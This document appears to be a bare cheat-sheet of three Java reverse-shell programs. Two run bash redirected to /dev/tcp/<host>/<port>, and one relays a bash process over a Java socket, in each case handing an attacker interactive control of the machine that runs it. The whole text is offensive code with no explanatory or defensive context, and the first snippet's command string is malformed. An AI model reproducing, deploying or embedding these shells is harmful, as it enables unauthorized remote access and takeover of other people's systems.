java revshells:
```
public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/<host>>/<port> 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
```

```
public class shell {
    public static void main(String[] args) {
        ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/<host>/<port> 0>&1")
            .redirectErrorStream(true);
        try {
            Process p = pb.start();
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
```

```
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class shell {
    public static void main(String[] args) {
        String host = "<host>";
        int port = <port>;
        String cmd = "bash";
        try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {}
            }
            p.destroy();
            s.close();
        } catch (Exception e) {}
    }
}
```